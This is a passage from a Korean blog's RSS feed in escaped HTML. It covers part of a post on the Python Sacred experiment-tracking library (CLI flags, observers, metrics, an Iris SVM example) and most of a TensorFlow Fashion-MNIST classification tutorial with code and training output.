      print(&amp;quot;WHAZZZUUUUUUUUUUP!!!???&amp;quot;)

  @ex.automain
  def main():
      print(&amp;quot;This is just the main command. Try greet or shout.&amp;quot;)s&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;실행결과&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;추가적인 command option들은 &lt;code&gt;python [파일명] help&lt;/code&gt; 를 통해 알 수 있음&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XMBc3/btqB8a1lLDv/aLWjK2JxE1cEKUCqhSAYE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XMBc3/btqB8a1lLDv/aLWjK2JxE1cEKUCqhSAYE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XMBc3/btqB8a1lLDv/aLWjK2JxE1cEKUCqhSAYE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXMBc3%2FbtqB8a1lLDv%2FaLWjK2JxE1cEKUCqhSAYE1%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;주요 Flag&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Logging Levels: logging level 제어&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;입력방법&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;-l LEVEL&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;—loglevel=LEVEL&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;logging level(Level:Numeric value)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;CRITICAL: 50&lt;/li&gt;
&lt;li&gt;ERROR: 40&lt;/li&gt;
&lt;li&gt;WARNING: 30&lt;/li&gt;
&lt;li&gt;INFO: 20&lt;/li&gt;
&lt;li&gt;DEBUG: 10&lt;/li&gt;
&lt;li&gt;NOTSET: 0&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;예시화면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/68xIe/btqB7OKT46O/lVkcugKuBucw3uzUuFsDtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/68xIe/btqB7OKT46O/lVkcugKuBucw3uzUuFsDtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/68xIe/btqB7OKT46O/lVkcugKuBucw3uzUuFsDtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F68xIe%2FbtqB7OKT46O%2FlVkcugKuBucw3uzUuFsDtK%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;MongoDB Observer: MongoDB observer 추가&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;입력방법&lt;ol&gt;
&lt;li&gt;&lt;code&gt;-m DB&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;—mongo_db=DB&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;DB의 형태는 &lt;code&gt;[host:port:]db_name[.collection][!priority]&lt;/code&gt;여야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;FileStorage Observer: filestorage observer 추가&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;입력방법&lt;ol&gt;
&lt;li&gt;-F BASEDIR&lt;/li&gt;
&lt;li&gt;—file_storage=BASEDIR&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Capturing stdout/stderr&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Sacred는 observer에 모든 출력결과를 캡쳐하고 전송(설정으로 변경)&lt;ul&gt;
&lt;li&gt;설정 모드는 커맨드라인으로 셋팅 가능: &lt;code&gt;no&lt;/code&gt;, &lt;code&gt;sys&lt;/code&gt;, &lt;code&gt;fd&lt;/code&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;no&lt;/code&gt;: 출력결과를 캡쳐하지 않음, 실험에 observer를 추가하지 않음&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sys&lt;/code&gt;: sys.stdout과 sys.stderr로 쓰여진 모든 출력결과를 캡쳐 (Windows 기본 설정)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fd&lt;/code&gt;: 파일 디스크립터 레벨에서 출력결과를 캡쳐, 프로그램, 자식 프로세스들의 출력결과를 포함 (Linux, OSX 기본설정)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Metrics API&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;실험을 하는 동안 다양한 값들(예: 학습과정 중 accuracy)을 측정하기 위한 API&lt;ul&gt;
&lt;li&gt;Metrics API를 통해 숫자 값(예: int, float) 트랙킹을 지원&lt;/li&gt;
&lt;li&gt;실험에서 API에 접근하기 위해 현재 실험에서 변수들이 참조 가능한 범위여야 함&lt;/li&gt;
&lt;li&gt;&lt;code&gt;run.log_scala(metric_name, value, step)&lt;/code&gt;메소드는 metric 이름을 가져야 하고 반복되는 스텝동안 값들을 주어진 값들을 측정&lt;ul&gt;
&lt;li&gt;스텝을 미 지정 시 각 metric은 자동적으로 1씩 증가하도록 설정 됨&lt;/li&gt;
&lt;li&gt;현재는 MongoObserver(metrics collection에 저장), FileStorageObserver(metrics.json)에 의해 수집 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;예제: Iris Classification 소스코드&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Sacred 적용 전&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  import pandas as pd
  from sklearn.model_selection import train_test_split
  from sklearn import svm, metrics

  C = 1.0
  gamma = 0.7
  kernel = &amp;#39;rbf&amp;#39;

  data_url = &amp;#39;https://github.com/pandas-dev/pandas/raw/master/pandas/tests/data/iris.csv&amp;#39;
  iris_df = pd.read_csv(data_url)
  print(&amp;quot;iris_df.shape: {}&amp;quot;.format(iris_df.shape))

  iris_data = iris_df[[&amp;#39;SepalLength&amp;#39;, &amp;#39;SepalWidth&amp;#39;, &amp;#39;PetalLength&amp;#39;, &amp;#39;PetalWidth&amp;#39;]]
  iris_target = iris_df[&amp;#39;Name&amp;#39;]

  data = iris_data.values
  target = iris_target.values

  X_train, X_test, y_train, y_test = train_test_split(data,
                                                      target,
                                                      test_size = 1/3,
                                                      random_state=0)

  print(&amp;quot;X_train.shape: {}, X_test.shape: {}&amp;quot;.format(X_train.shape,
                                                      X_test.shape))
  print(&amp;quot;y_train.shape: {}, y_train.shape: {}&amp;quot;.format(y_train.shape,
                                                      y_test.shape))

  clf = svm.SVC(C, kernel, gamma=gamma)
  clf.fit(X_train, y_train)

  y_pred = clf.predict(X_test)
  print(&amp;quot;predict: {}&amp;quot;.format(y_pred))

  accuracy = metrics.accuracy_score(y_test, y_pred);
  print(&amp;quot;accuracy: {}&amp;quot;.format(accuracy))&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sacred 적용 후&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;소스코드&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  import pandas as pd
  from sklearn.model_selection import train_test_split
  from sklearn import svm, metrics
  from sacred import Experiment
  from sacred.observers import FileStorageObserver

  ex = Experiment(&amp;#39;iris_rbf_svm&amp;#39;)
  ex.observers.append(FileStorageObserver.create(&amp;#39;example/my_runs&amp;#39;))

  @ex.config
  def cfg():
      C = 1.0
      gamma = 0.7
      kernel = &amp;quot;rbf&amp;quot;

  @ex.capture
  def get_model(C, gamma, kernel):
      return svm.SVC(C, kernel, gamma=gamma)

  @ex.automain
  def run():
      data_url = &amp;#39;https://github.com/pandas-dev/pandas/raw/master/pandas/tests/data/iris.csv&amp;#39;
      iris_df = pd.read_csv(data_url)
      print(&amp;quot;iris_df.shape: {}&amp;quot;.format(iris_df.shape))

      iris_data = iris_df[[&amp;#39;SepalLength&amp;#39;, &amp;#39;SepalWidth&amp;#39;, &amp;#39;PetalLength&amp;#39;, &amp;#39;PetalWidth&amp;#39;]]
      iris_target = iris_df[&amp;#39;Name&amp;#39;]

      data = iris_data.values
      target = iris_target.values

      # train data, test data split
      X_train, X_test, y_train, y_test = train_test_split(data,
                                                          target,
                                                          test_size = 1/3,
                                                          random_state=0)

      print(&amp;quot;X_train.shape: {}, X_test.shape: {}&amp;quot;.format(X_train.shape,
                                                          X_test.shape))
      print(&amp;quot;y_train.shape: {}, y_train.shape: {}&amp;quot;.format(y_train.shape,
                                                          y_test.shape))
      clf = get_model()
      clf.fit(X_train, y_train)

      y_pred = clf.predict(X_test)
      #print(&amp;quot;predict: {}&amp;quot;.format(y_pred))

      accuracy = metrics.accuracy_score(y_test, y_pred);
      print(&amp;quot;accuracy: {}&amp;quot;.format(accuracy))&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;실행결과&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZw7my/btqCbhxBGzg/JP1WQuJ7PAb2HozXYKIhc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZw7my/btqCbhxBGzg/JP1WQuJ7PAb2HozXYKIhc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZw7my/btqCbhxBGzg/JP1WQuJ7PAb2HozXYKIhc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZw7my%2FbtqCbhxBGzg%2FJP1WQuJ7PAb2HozXYKIhc0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;참고사이트&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://sacred.readthedocs.io/en/stable/index.html&quot;&gt;sacred 공식문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/IDSIA/sacred&quot;&gt;sacred 공식 github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zzsza.github.io/mlops/2019/07/21/python-sacred/&quot;&gt;변성윤님 블로그&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>AI&amp;amp;BigData/MLOps</category>
      <category>machine learning experiment management tool</category>
      <category>python sacred</category>
      <category>SACRED</category>
      <category>머신러닝 실험관리 도구</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/239</guid>
      <comments>https://eunguru.tistory.com/239#entry239comment</comments>
      <pubDate>Fri, 21 Feb 2020 13:35:01 +0900</pubDate>
    </item>
    <item>
      <title>TensorFlow Core Tutorial - 첫번째 신경망 훈련하기: 기초적인 분류 문제</title>
      <link>https://eunguru.tistory.com/238</link>
      <description>&lt;h2&gt;첫번째 신경망 훈련하기: 기초적인 분류 문제&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;운동화나 셔츠 같은 옷 이미지를 분류하는 신경망 모델 훈련&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;try:
  %tensorflow_version 2.x
except Exception:
  pass&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;TensorFlow 2.x selected.&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;elm&quot;&gt;&lt;code&gt;from __future__ import absolute_import, division, print_function, unicode_literals

import tensorflow as tf
from tensorflow import keras

import numpy as np
import matplotlib.pyplot as plt

print(tf.__version__)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;2.1.0-rc1&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;패션 MNIST 데이터셋 임포트하기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/zalandoresearch/fashion-mnist&quot;&gt;패션 MNIST&lt;/a&gt; 사용
&lt;ul&gt;
&lt;li&gt;10개의 범주(category), 70,000개의 흑백이미지로 구성&lt;/li&gt;
&lt;li&gt;이미지 해상도(28x28 픽셀), 0~255사이의 값&lt;/li&gt;
&lt;li&gt;훈련이미지: 60,000개 사용&lt;/li&gt;
&lt;li&gt;평가이미지: 10,000개 사용&lt;/li&gt;
&lt;li&gt;레이블: 0~9까지의 정수배열, 옷의 클래스를 나타냄
&lt;ul&gt;
&lt;li&gt;0: T-shirt/top&lt;/li&gt;
&lt;li&gt;1: Trouser&lt;/li&gt;
&lt;li&gt;2: Pullover&lt;/li&gt;
&lt;li&gt;3: Dress&lt;/li&gt;
&lt;li&gt;4: Coat&lt;/li&gt;
&lt;li&gt;5: Sandal&lt;/li&gt;
&lt;li&gt;6: Shirt&lt;/li&gt;
&lt;li&gt;7: Sneaker&lt;/li&gt;
&lt;li&gt;8: Bag&lt;/li&gt;
&lt;li&gt;9: Ankle boot&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;fashion_mnist = keras.datasets.fashion_mnist
(train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;gradle&quot;&gt;&lt;code&gt;Downloading data from https://storage.googleapis.com/tensorflow/tf-keras-datasets/train-labels-idx1-ubyte.gz
32768/29515 [=================================] - 0s 0us/step
Downloading data from https://storage.googleapis.com/tensorflow/tf-keras-datasets/train-images-idx3-ubyte.gz
26427392/26421880 [==============================] - 0s 0us/step
Downloading data from https://storage.googleapis.com/tensorflow/tf-keras-datasets/t10k-labels-idx1-ubyte.gz
8192/5148 [===============================================] - 0s 0us/step
Downloading data from https://storage.googleapis.com/tensorflow/tf-keras-datasets/t10k-images-idx3-ubyte.gz
4423680/4422102 [==============================] - 0s 0us/step&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;fortran&quot;&gt;&lt;code&gt;print(type(train_images)) # load_data()가 numpy배열을 반환
print(train_images.shape, train_labels.shape) # 훈련세트
print(test_images.shape, test_labels.shape) # 테스트세트&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;&amp;lt;class 'numpy.ndarray'&amp;gt;
(60000, 28, 28) (60000,)
(10000, 28, 28) (10000,)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;sml&quot;&gt;&lt;code&gt;class_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',
               'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;데이터 탐색&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;훈련세트: 60,000개 이미지&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;train_images.shape&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;(60000, 28, 28)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;len(train_labels)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;60000&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;nginx&quot;&gt;&lt;code&gt;train_labels  # label: 0~9사이의 정수&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;array([9, 0, 0, ..., 3, 0, 5], dtype=uint8)&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;테스트세트: 10,000개 이미지&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;test_images.shape&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;(10000, 28, 28)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;len(test_labels)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;10000&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;데이터 전처리&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;첫번째 훈련 이미지 시각화: 픽셀의 범위가 0~255사이&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;plt.figure()
plt.imshow(train_images[0])
plt.colorbar()
plt.grid(False)
plt.show()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;classification_15_0.png&quot; data-origin-width=&quot;305&quot; data-origin-height=&quot;248&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UeuSO/btqAQmBCpye/lmOkq1HfB2aUDkafJnT2n0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UeuSO/btqAQmBCpye/lmOkq1HfB2aUDkafJnT2n0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UeuSO/btqAQmBCpye/lmOkq1HfB2aUDkafJnT2n0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUeuSO%2FbtqAQmBCpye%2FlmOkq1HfB2aUDkafJnT2n0%2Fimg.png&quot; data-filename=&quot;classification_15_0.png&quot; data-origin-width=&quot;305&quot; data-origin-height=&quot;248&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;신경망 모델에 주입하기 위해 픽셀의 범위를 0~1사이로 조정
&lt;ul&gt;
&lt;li&gt;훈련세트와 테스트세트를 동일한 방식으로 전처러하는 것이 좋음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;train_images = train_images / 255.0
test_images = test_images / 255.0&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;plt.figure(figsize=(10,10))

# 훈련세트 처음 25개 이미지 출력
for i in range(25):
  plt.subplot(5,5, i+1)
  plt.xticks([])
  plt.yticks([])
  plt.grid(False)
  plt.imshow(train_images[i], cmap=plt.cm.binary)
  plt.xlabel(class_names[train_labels[i]])
plt.show()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;classification_18_0.png&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EwEsm/btqAOJYn64E/BP3kmzlKLIFlUpJPhvVmW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EwEsm/btqAOJYn64E/BP3kmzlKLIFlUpJPhvVmW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EwEsm/btqAOJYn64E/BP3kmzlKLIFlUpJPhvVmW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEwEsm%2FbtqAOJYn64E%2FBP3kmzlKLIFlUpJPhvVmW0%2Fimg.png&quot; data-filename=&quot;classification_18_0.png&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;572&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3&gt;모델 구성&lt;/h3&gt;
&lt;p&gt;&lt;b&gt;층설정&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;층(layer): 신경망의 기본 구성요소, 주입된 데이터에서 더 의미있는 표현(representation)을 추출
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras/layers/Flatten&quot;&gt;&lt;code&gt;tf.keras.layers.Flatten&lt;/code&gt;&lt;/a&gt;: 데이터 변환만 수행, 1차원 배열로 변환&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras/layers/Dense&quot;&gt;&lt;code&gt;tf.keras.layers.Dense&lt;/code&gt;&lt;/a&gt;: 밀집 연결(densely-connected) 또는 완전 연결(full-connected)층이라고 불림&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;model = keras.Sequential([
                         keras.layers.Flatten(input_shape=(28, 28)),
                         keras.layers.Dense(128, activation='relu'),
                         keras.layers.Dense(10, activation='softmax') # 10개의 확률을 반환, 전체합은 1
])&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;b&gt;모델 컴파일&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;모델 훈련 전 필요한 설정
&lt;ul&gt;
&lt;li&gt;손실함수(Loss function): 훈련하는 동안 모델의 오차를 측정, 모델의 학습이 올바른 방향으로 향하도록 함수 최소화가 필요&lt;/li&gt;
&lt;li&gt;옵티마이저(Optimize): 데이터와 손실함수를 바탕으로 모델의 업데이트 방법을 결정&lt;/li&gt;
&lt;li&gt;지표(Metrics): 훈련단계와 테스트 단계를 모니터링하게 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;gams&quot;&gt;&lt;code&gt;model.compile(optimizer='adam',
              loss='sparse_categorical_crossentropy',
              metrics=['accuracy'])&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;모델 훈련&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;훈련데이터를 모델에 주입: train_images, train_labels&lt;/li&gt;
&lt;li&gt;모델이 이미와 레이블을 매핑하는 방법을 배움&lt;/li&gt;
&lt;li&gt;테스트 세트에 대한 모델의 예측을 만듦: test_images에 해당&lt;/li&gt;
&lt;li&gt;테스트 세트에 대한 예측이 레이블과 맞는지 확인: test_labels와 비교&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;fix&quot;&gt;&lt;code&gt;model.fit(train_images, train_labels, epochs=5)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;Train on 60000 samples
Epoch 1/5
60000/60000 [==============================] - 6s 100us/sample - loss: 0.4960 - accuracy: 0.8260
Epoch 2/5
60000/60000 [==============================] - 4s 69us/sample - loss: 0.3721 - accuracy: 0.8658
Epoch 3/5
60000/60000 [==============================] - 4s 68us/sample - loss: 0.3374 - accuracy: 0.8762
Epoch 4/5
60000/60000 [==============================] - 4s 67us/sample - loss: 0.3133 - accuracy: 0.8848
Epoch 5/5
60000/60000 [==============================] - 4s 72us/sample - loss: 0.2945 - accuracy: 0.8917





&amp;lt;tensorflow.python.keras.callbacks.History at 0x7f55f03b85f8&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;정확도 평가&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;테스트 세트에서 모델의 성능을 비교하는 것
&lt;ul&gt;
&lt;li&gt;훈련세트의 정확도와 테스트 세트의 정확도 사이의 차이는 과대적합(overfitting) 때문
&lt;ul&gt;
&lt;li&gt;과대적합은 머신러닝 모델이 훈련 데이터보다 새로운 데이터에서 성능이 낮아지는 현상&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;test_loss, test_acc = model.evaluate(test_images, test_labels, verbose=2)
print('\n테스트 정확도:', test_acc)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;10000/10000 - 1s - loss: 0.3555 - accuracy: 0.8744

테스트 정확도: 0.8744&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;예측 만들기&lt;/h3&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;predictions = model.predict(test_images)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;accesslog&quot;&gt;&lt;code&gt;predictions[0]&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;dns&quot;&gt;&lt;code&gt;array([5.4779186e-05, 1.9705626e-08, 4.5254851e-08, 1.0074039e-08,
       1.4064354e-07, 3.9456915e-03, 1.5197660e-06, 9.9437140e-02,
       1.1629425e-06, 8.9655954e-01], dtype=float32)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;np.argmax(predictions[0])&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;9&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;accesslog&quot;&gt;&lt;code&gt;test_labels[0]&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;9&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;prolog&quot;&gt;&lt;code&gt;def plot_image(i, predictions, true_label, img):
  prediction_array, true_label, img = predictions[i], true_label[i], img[i]
  plt.grid(False)
  plt.xticks([])
  plt.yticks([])

  plt.imshow(img, cmap=plt.cm.binary)

  predicted_label = np.argmax(prediction_array)
  if predicted_label == true_label:
    color = 'blue'
  else:
    color = 'red'

  plt.xlabel(&quot;{} {:2.0f}% ({})&quot;.format(class_names[predicted_label],
                                       100*np.max(prediction_array),
                                       class_names[true_label]),
                                       color=color)

def plot_value_array(i, predictions_array, true_label):
  predictions_array, true_label = predictions_array[i], true_label[i]
  plt.grid(False)
  plt.xticks([])
  plt.yticks([])
  thisplot = plt.bar(range(10), predictions_array, color=&quot;#777777&quot;)
  plt.ylim([0,1])
  predicted_label = np.argmax(predictions_array)

  thisplot[predicted_label].set_color('red')
  thisplot[true_label].set_color('blue')&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;i=0
plt.figure(figsize=(6,3))
plt.subplot(1,2,1)
plot_image(i, predictions, test_labels, test_images)
plt.subplot(1,2,2)
plot_value_array(i, predictions, test_labels)
plt.show()&lt;/code&gt;&lt;/pre&gt;
